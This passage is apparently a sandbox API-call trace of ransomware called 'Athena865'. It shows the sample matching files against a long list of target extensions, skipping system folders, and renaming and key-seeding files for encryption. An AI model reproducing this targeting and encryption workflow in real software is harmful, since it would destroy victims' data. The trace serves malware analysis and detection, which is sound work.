lstrlenW (lpString="ckp") returned 3 [0122.155] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0122.155] lstrlenW (lpString="cma") returned 3 [0122.155] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0122.155] lstrlenW (lpString="cpd") returned 3 [0122.155] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0122.155] lstrlenW (lpString="dacpac") returned 6 [0122.156] lstrcmpiW (lpString1="5_.WMF", lpString2="dacpac") returned -1 [0122.156] lstrlenW (lpString="dad") returned 3 [0122.156] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0122.156] lstrlenW (lpString="dadiagrams") returned 10 [0122.156] lstrcmpiW (lpString1="00265_.WMF", lpString2="dadiagrams") returned -1 [0122.156] lstrlenW (lpString="daschema") returned 8 [0122.156] lstrcmpiW (lpString1="265_.WMF", lpString2="daschema") returned -1 [0122.156] lstrlenW (lpString="db-journal") returned 10 [0122.156] lstrcmpiW (lpString1="00265_.WMF", lpString2="db-journal") returned -1 [0122.156] lstrlenW (lpString="db-shm") returned 6 [0122.156] lstrcmpiW (lpString1="5_.WMF", lpString2="db-shm") returned -1 [0122.156] lstrlenW (lpString="db-wal") returned 6 [0122.156] lstrcmpiW (lpString1="5_.WMF", lpString2="db-wal") returned -1 [0122.156] lstrlenW (lpString="dbc") returned 3 [0122.156] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0122.156] lstrlenW (lpString="dbs") returned 3 [0122.156] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0122.156] lstrlenW (lpString="dbt") returned 3 [0122.156] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0122.156] lstrlenW (lpString="dbv") returned 3 [0122.156] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0122.156] lstrlenW (lpString="dbx") returned 3 [0122.156] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0122.156] lstrlenW (lpString="dcb") returned 3 [0122.156] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0122.156] lstrlenW (lpString="dct") returned 3 [0122.156] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0122.156] lstrlenW (lpString="dcx") returned 3 [0122.156] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0122.157] lstrlenW (lpString="ddl") returned 3 [0122.157] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0122.157] lstrlenW (lpString="dlis") returned 4 [0122.157] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0122.157] lstrlenW (lpString="dp1") returned 3 [0122.157] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0122.157] lstrlenW (lpString="dqy") returned 3 [0122.157] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0122.157] lstrlenW (lpString="dsk") returned 3 [0122.157] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0122.157] lstrlenW (lpString="dsn") returned 3 [0122.157] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0122.157] lstrlenW (lpString="dtsx") returned 4 [0122.157] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0122.157] lstrlenW (lpString="dxl") returned 3 [0122.157] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0122.157] lstrlenW (lpString="eco") returned 3 [0122.157] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0122.157] lstrlenW (lpString="ecx") returned 3 [0122.157] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0122.157] lstrlenW (lpString="edb") returned 3 [0122.157] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0122.157] lstrlenW (lpString="epim") returned 4 [0122.157] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0122.157] lstrlenW (lpString="fcd") returned 3 [0122.157] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0122.157] lstrlenW (lpString="fdb") returned 3 [0122.157] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0122.157] lstrlenW (lpString="fic") returned 3 [0122.158] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0122.158] lstrlenW (lpString="flexolibrary") returned 12 [0122.158] lstrlenW (lpString="fm5") returned 3 [0122.158] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0122.158] lstrlenW (lpString="fmp") returned 3 [0122.158] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0122.158] lstrlenW (lpString="fmp12") returned 5 [0122.158] lstrcmpiW (lpString1="_.WMF", lpString2="fmp12") returned -1 [0122.158] lstrlenW (lpString="fmpsl") returned 5 [0122.158] lstrcmpiW (lpString1="_.WMF", lpString2="fmpsl") returned -1 [0122.158] lstrlenW (lpString="fol") returned 3 [0122.158] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0122.158] lstrlenW (lpString="fp3") returned 3 [0122.158] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0122.158] lstrlenW (lpString="fp4") returned 3 [0122.158] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0122.158] lstrlenW (lpString="fp5") returned 3 [0122.158] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0122.158] lstrlenW (lpString="fp7") returned 3 [0122.158] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0122.158] lstrlenW (lpString="fpt") returned 3 [0122.158] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0122.158] lstrlenW (lpString="frm") returned 3 [0122.158] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0122.158] lstrlenW (lpString="gdb") returned 3 [0122.158] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0122.158] lstrlenW (lpString="gdb") returned 3 [0122.158] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0122.158] lstrlenW (lpString="grdb") returned 4 [0122.159] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0122.159] lstrlenW (lpString="gwi") returned 3 [0122.159] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0122.159] lstrlenW (lpString="hdb") returned 3 [0122.159] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0122.159] lstrlenW (lpString="his") returned 3 [0122.159] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0122.159] lstrlenW (lpString="ib") returned 2 [0122.159] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0122.159] lstrlenW (lpString="idb") returned 3 [0122.159] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0122.159] lstrlenW (lpString="ihx") returned 3 [0122.159] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0122.159] lstrlenW (lpString="itdb") returned 4 [0122.159] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0122.159] lstrlenW (lpString="itw") returned 3 [0122.159] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0122.159] lstrlenW (lpString="jet") returned 3 [0122.159] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0122.159] lstrlenW (lpString="jtx") returned 3 [0122.159] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0122.159] lstrlenW (lpString="kdb") returned 3 [0122.159] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0122.159] lstrlenW (lpString="kexi") returned 4 [0122.159] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0122.159] lstrlenW (lpString="kexic") returned 5 [0122.159] lstrcmpiW (lpString1="_.WMF", lpString2="kexic") returned -1 [0122.159] lstrlenW (lpString="kexis") returned 5 [0122.159] lstrcmpiW (lpString1="_.WMF", lpString2="kexis") returned -1 [0122.160] lstrlenW (lpString="lgc") returned 3 [0122.160] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0122.160] lstrlenW (lpString="lwx") returned 3 [0122.160] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0122.160] lstrlenW (lpString="maf") returned 3 [0122.160] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0122.160] lstrlenW (lpString="maq") returned 3 [0122.160] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0122.160] lstrlenW (lpString="mar") returned 3 [0122.160] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0122.160] lstrlenW (lpString="marshal") returned 7 [0122.160] lstrcmpiW (lpString1="65_.WMF", lpString2="marshal") returned -1 [0122.160] lstrlenW (lpString="mas") returned 3 [0122.160] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0122.160] lstrlenW (lpString="mav") returned 3 [0122.160] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0122.160] lstrlenW (lpString="maw") returned 3 [0122.160] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0122.160] lstrlenW (lpString="mdbhtml") returned 7 [0122.160] lstrcmpiW (lpString1="65_.WMF", lpString2="mdbhtml") returned -1 [0122.160] lstrlenW (lpString="mdn") returned 3 [0122.160] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0122.160] lstrlenW (lpString="mdt") returned 3 [0122.160] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0122.160] lstrlenW (lpString="mfd") returned 3 [0122.160] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0122.160] lstrlenW (lpString="mpd") returned 3 [0122.160] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0122.160] lstrlenW (lpString="mrg") returned 3 [0122.161] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0122.161] lstrlenW (lpString="mud") returned 3 [0122.161] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0122.161] lstrlenW (lpString="mwb") returned 3 [0122.161] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0122.161] lstrlenW (lpString="myd") returned 3 [0122.161] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0122.161] lstrlenW (lpString="ndf") returned 3 [0122.161] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0122.161] lstrlenW (lpString="nnt") returned 3 [0122.161] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0122.161] lstrlenW (lpString="nrmlib") returned 6 [0122.161] lstrcmpiW (lpString1="5_.WMF", lpString2="nrmlib") returned -1 [0122.161] lstrlenW (lpString="ns2") returned 3 [0122.161] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0122.161] lstrlenW (lpString="ns3") returned 3 [0122.161] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0122.161] lstrlenW (lpString="ns4") returned 3 [0122.161] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0122.161] lstrlenW (lpString="nsf") returned 3 [0122.161] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0122.161] lstrlenW (lpString="nv") returned 2 [0122.161] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0122.161] lstrlenW (lpString="nv2") returned 3 [0122.161] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0122.161] lstrlenW (lpString="nwdb") returned 4 [0122.161] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0122.161] lstrlenW (lpString="nyf") returned 3 [0122.161] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0122.161] lstrlenW (lpString="odb") returned 3 [0122.162] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0122.162] lstrlenW (lpString="odb") returned 3 [0122.162] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0122.162] lstrlenW (lpString="oqy") returned 3 [0122.162] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0122.162] lstrlenW (lpString="ora") returned 3 [0122.162] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0122.162] lstrlenW (lpString="orx") returned 3 [0122.162] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0122.162] lstrlenW (lpString="owc") returned 3 [0122.162] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0122.162] lstrlenW (lpString="p96") returned 3 [0122.162] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0122.162] lstrlenW (lpString="p97") returned 3 [0122.162] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0122.162] lstrlenW (lpString="pan") returned 3 [0122.162] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0122.162] lstrlenW (lpString="pdb") returned 3 [0122.162] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0122.162] lstrlenW (lpString="pdm") returned 3 [0122.162] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0122.162] lstrlenW (lpString="pnz") returned 3 [0122.162] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0122.162] lstrlenW (lpString="qry") returned 3 [0122.162] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0122.162] lstrlenW (lpString="qvd") returned 3 [0122.162] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0122.162] lstrlenW (lpString="rbf") returned 3 [0122.163] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0122.163] lstrlenW (lpString="rctd") returned 4 [0122.163] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0122.163] lstrlenW (lpString="rod") returned 3 [0122.163] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0122.163] lstrlenW (lpString="rodx") returned 4 [0122.163] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0122.163] lstrlenW (lpString="rpd") returned 3 [0122.163] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0122.163] lstrlenW (lpString="rsd") returned 3 [0122.163] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0122.163] lstrlenW (lpString="sas7bdat") returned 8 [0122.163] lstrcmpiW (lpString1="265_.WMF", lpString2="sas7bdat") returned -1 [0122.163] lstrlenW (lpString="sbf") returned 3 [0122.163] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0122.163] lstrlenW (lpString="scx") returned 3 [0122.163] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0122.163] lstrlenW (lpString="sdb") returned 3 [0122.163] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0122.163] lstrlenW (lpString="sdc") returned 3 [0122.163] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0122.163] lstrlenW (lpString="sdf") returned 3 [0122.163] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0122.163] lstrlenW (lpString="sis") returned 3 [0122.163] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0122.163] lstrlenW (lpString="spq") returned 3 [0122.163] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0122.163] lstrlenW (lpString="te") returned 2 [0122.163] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0122.164] lstrlenW (lpString="teacher") returned 7 [0122.164] lstrcmpiW (lpString1="65_.WMF", lpString2="teacher") returned -1 [0122.164] lstrlenW (lpString="tmd") returned 3 [0122.164] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0122.164] lstrlenW (lpString="tps") returned 3 [0122.164] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0122.164] lstrlenW (lpString="trc") returned 3 [0122.164] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0122.164] lstrlenW (lpString="trc") returned 3 [0122.164] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0122.164] lstrlenW (lpString="trm") returned 3 [0122.164] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0122.164] lstrlenW (lpString="udb") returned 3 [0122.164] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0122.164] lstrlenW (lpString="udl") returned 3 [0122.164] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0122.164] lstrlenW (lpString="usr") returned 3 [0122.164] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0122.164] lstrlenW (lpString="v12") returned 3 [0122.164] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0122.164] lstrlenW (lpString="vis") returned 3 [0122.164] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0122.164] lstrlenW (lpString="vpd") returned 3 [0122.164] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0122.164] lstrlenW (lpString="vvv") returned 3 [0122.164] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0122.164] lstrlenW (lpString="wdb") returned 3 [0122.164] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0122.165] lstrlenW (lpString="wmdb") returned 4 [0122.165] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0122.165] lstrlenW (lpString="wrk") returned 3 [0122.165] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0122.165] lstrlenW (lpString="xdb") returned 3 [0122.165] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0122.165] lstrlenW (lpString="xld") returned 3 [0122.165] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0122.165] lstrlenW (lpString="xmlff") returned 5 [0122.165] lstrcmpiW (lpString1="_.WMF", lpString2="xmlff") returned -1 [0122.165] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.Athena865") returned 73 [0122.165] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.166] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5752) returned 1 [0122.166] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.167] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.167] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.167] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1980, lpName=0x0) returned 0x154 [0122.169] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1980) returned 0x100000 [0122.170] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.171] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.171] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0122.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0122.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0122.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0122.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0122.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0122.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0122.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0122.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0122.172] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0122.172] CloseHandle (hObject=0x154) returned 1 [0122.172] CloseHandle (hObject=0x17c) returned 1 [0122.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0122.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0122.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0122.172] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0122.172] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0122.172] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0122.172] lstrcmpiW (lpString1="BL00267_.WMF", lpString2=".") returned 1 [0122.172] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="..") returned 1 [0122.172] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="windows") returned -1 [0122.172] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="bootmgr") returned -1 [0122.172] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="temp") returned -1 [0122.172] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="pagefile.sys") returned -1 [0122.173] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="boot") returned -1 [0122.173] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="ids.txt") returned -1 [0122.173] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="ntuser.dat") returned -1 [0122.173] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="perflogs") returned -1 [0122.173] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="MSBuild") returned -1 [0122.173] lstrlenW (lpString="BL00267_.WMF") returned 12 [0122.173] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00267_.WMF" | out: lpString1="BL00267_.WMF") returned="BL00267_.WMF" [0122.173] lstrlenW (lpString="BL00267_.WMF") returned 12 [0122.173] lstrlenW (lpString="Athena865") returned 9 [0122.173] lstrcmpiW (lpString1="0267_.WMF", lpString2="Athena865") returned -1 [0122.173] lstrlenW (lpString=".dll") returned 4 [0122.173] lstrcmpiW (lpString1="BL00267_.WMF", lpString2=".dll") returned 1 [0122.173] lstrlenW (lpString=".lnk") returned 4 [0122.173] lstrcmpiW (lpString1="BL00267_.WMF", lpString2=".lnk") returned 1 [0122.173] lstrlenW (lpString=".ini") returned 4 [0122.173] lstrcmpiW (lpString1="BL00267_.WMF", lpString2=".ini") returned 1 [0122.173] lstrlenW (lpString=".sys") returned 4 [0122.173] lstrcmpiW (lpString1="BL00267_.WMF", lpString2=".sys") returned 1 [0122.173] lstrlenW (lpString="BL00267_.WMF") returned 12 [0122.173] lstrlenW (lpString="bak") returned 3 [0122.173] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0122.173] lstrlenW (lpString="ba_") returned 3 [0122.173] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0122.173] lstrlenW (lpString="dbb") returned 3 [0122.173] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0122.173] lstrlenW (lpString="vmdk") returned 4 [0122.173] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0122.173] lstrlenW (lpString="rar") returned 3 [0122.173] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0122.174] lstrlenW (lpString="zip") returned 3 [0122.174] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0122.174] lstrlenW (lpString="tgz") returned 3 [0122.174] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0122.174] lstrlenW (lpString="vbox") returned 4 [0122.174] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0122.174] lstrlenW (lpString="vdi") returned 3 [0122.174] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0122.174] lstrlenW (lpString="vhd") returned 3 [0122.174] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0122.174] lstrlenW (lpString="vhdx") returned 4 [0122.174] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0122.174] lstrlenW (lpString="avhd") returned 4 [0122.174] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0122.174] lstrlenW (lpString="db") returned 2 [0122.174] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0122.174] lstrlenW (lpString="db2") returned 3 [0122.174] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0122.174] lstrlenW (lpString="db3") returned 3 [0122.174] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0122.174] lstrlenW (lpString="dbf") returned 3 [0122.174] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0122.174] lstrlenW (lpString="mdf") returned 3 [0122.174] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0122.174] lstrlenW (lpString="mdb") returned 3 [0122.174] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0122.174] lstrlenW (lpString="sql") returned 3 [0122.174] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0122.174] lstrlenW (lpString="sqlite") returned 6 [0122.175] lstrcmpiW (lpString1="7_.WMF", lpString2="sqlite") returned -1 [0122.175] lstrlenW (lpString="sqlite3") returned 7 [0122.175] lstrcmpiW (lpString1="67_.WMF", lpString2="sqlite3") returned -1 [0122.175] lstrlenW (lpString="sqlitedb") returned 8 [0122.175] lstrcmpiW (lpString1="267_.WMF", lpString2="sqlitedb") returned -1 [0122.175] lstrlenW (lpString="xml") returned 3 [0122.175] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0122.175] lstrlenW (lpString="$er") returned 3 [0122.175] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0122.175] lstrlenW (lpString="4dd") returned 3 [0122.175] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0122.175] lstrlenW (lpString="4dl") returned 3 [0122.175] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0122.175] lstrlenW (lpString="^^^") returned 3 [0122.175] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0122.175] lstrlenW (lpString="abs") returned 3 [0122.175] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0122.175] lstrlenW (lpString="abx") returned 3 [0122.175] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0122.175] lstrlenW (lpString="accdb") returned 5 [0122.175] lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0122.175] lstrlenW (lpString="accdc") returned 5 [0122.175] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0122.175] lstrlenW (lpString="accde") returned 5 [0122.175] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0122.175] lstrlenW (lpString="accdr") returned 5 [0122.175] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0122.175] lstrlenW (lpString="accdt") returned 5 [0122.176] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0122.176] lstrlenW (lpString="accdw") returned 5 [0122.176] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0122.176] lstrlenW (lpString="accft") returned 5 [0122.176] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0122.176] lstrlenW (lpString="adb") returned 3 [0122.176] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0122.176] lstrlenW (lpString="adb") returned 3 [0122.176] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0122.176] lstrlenW (lpString="ade") returned 3 [0122.176] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0122.176] lstrlenW (lpString="adf") returned 3 [0122.176] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0122.176] lstrlenW (lpString="adn") returned 3 [0122.176] lstrcmpiW 